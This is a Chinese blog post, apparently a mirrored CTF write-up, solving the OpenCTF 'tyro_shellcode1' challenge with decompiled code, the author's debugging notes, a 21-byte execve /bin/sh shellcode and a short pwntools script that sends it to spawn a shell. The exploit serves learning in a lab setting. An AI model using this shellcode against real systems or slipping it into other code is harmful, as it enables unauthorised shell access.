zoukankan      html  css  js  c++  java
  • shellcode-tyro_shellcode1

     1 int __cdecl main(int argc, const char **argv, const char **envp)
     2 {
     3   int v3; // ST2C_4
     4   void *v4; // ST30_4
     5   int v5; // ST38_4
     6   char s; // [esp+3Ch] [ebp-84h]
     7   unsigned int v8; // [esp+BCh] [ebp-4h]
     8 
     9   v8 = __readgsdword(0x14u);
    10   v3 = open("/home/challenge/flag", 0);
    11   setbuf(_bss_start, 0);
    12   setbuf(stdout, 0);
    13   alarm(0x1Eu);
    14   v4 = mmap(0, 0x80u, 7, 34, -1, 0);
    15   memset(v4, 0xC3, 0x7Fu);
    16   memset(&s, 0, 0x7Fu);
    17   puts("OpenCTF tyro shellcode challenge.
    ");
    18   puts("Write me some shellcode that reads from the file_descriptor");
    19   puts("I supply and writes it to the buffer that I supply");
    20   printf("%d ... 0x%08x
    ", v3, &s);
    21   read(0, v4, 0x20u);
    22   v5 = ((int (*)(void))v4)();
    23   puts(&s);
    24   return v5;
    25 }

    IDA打开观察,发现很乱,而且也没有找到有接收用户输入的地方。然后我就发现v3打开了在/home/challenge/flag目录下的文件,而且程序中还有提示,说是会在file_descriptor那里读取flag,我想既然程序中没有找到接受输入的语句,那么应该就是按照题目中的提示,去构造这个文件,然后再向这个文件里写入shellcode,最后在22行中把这个文件当作指令来执行就能够得到flag了。

    在这里我用的是只有21字节的shellcode,b'x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80'

    我先是在windows里用winhex把这串shellcode输入了进去。

     然后按照程序提示,在对应的路径里放进去了构造好的flag文件。

     然后执行,发现无法调出shell。但是明明这里返回值为3,说明这个路径下的flag文件已经读取成功了。

     然后执行动态调试,居然在这里发现里接受输入数据的指令。这里是把输入数据放在了0xf7ffb000的位置。

     然后在它后面的call中,是要转到0xf7ffb000的地址的。也就是说明,程序会把接受的数据直接当作指令来执行的。

    1 from pwn import *
    2 io=process('./tyro_shellcode1')
    3 shellcode=b'x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80'
    4 io.send(shellcode)
    5 io.interactive()

    这样的话就简单了,直接写出脚本。

    最后研究一下,为什么程序中并没有gets,scanf之类的输入函数,却仍然能够接受用户输入。

    1 #include <bits/stdc++.h>
    2 #include <unistd.h>
    3 int main()
    4 {
    5     void *v4 = malloc(100);
    6     read(0,v4,20);
    7     printf("%s",(char *)v4);
    8     return 0;
    9 }

    我在dev c++中写了这串代码。

    运行后发现,程序确实会接受输入,并且输出的就是刚输入的。

    但是如果把read(0,v4,20);中的第一个参数,改为一个非0的数,就不会接受输入了,程序只会返回一串乱码。

  • 相关阅读:
    [HNOI2007]最小矩形覆盖
    Java实现第十届蓝桥杯质数
    Redo current损坏
    [学习笔记]计算几何
    delete noprompt archivelog 报错ORA-00245,RMAN-08132
    [学习笔记]CDQ分治
    Java实现第九届蓝桥杯耐摔指数
    RAC RMAN 备份 RMAN-03009 ORA-19504 ORA-27040 RMAN-06012 channel c3 not allocated 错误分析
    [学习笔记]树套树
    RMAN-03002、RMAN-06059
  • 原文地址:https://www.cnblogs.com/sweetbaby/p/14116952.html
Copyright © 2011-2022 走看看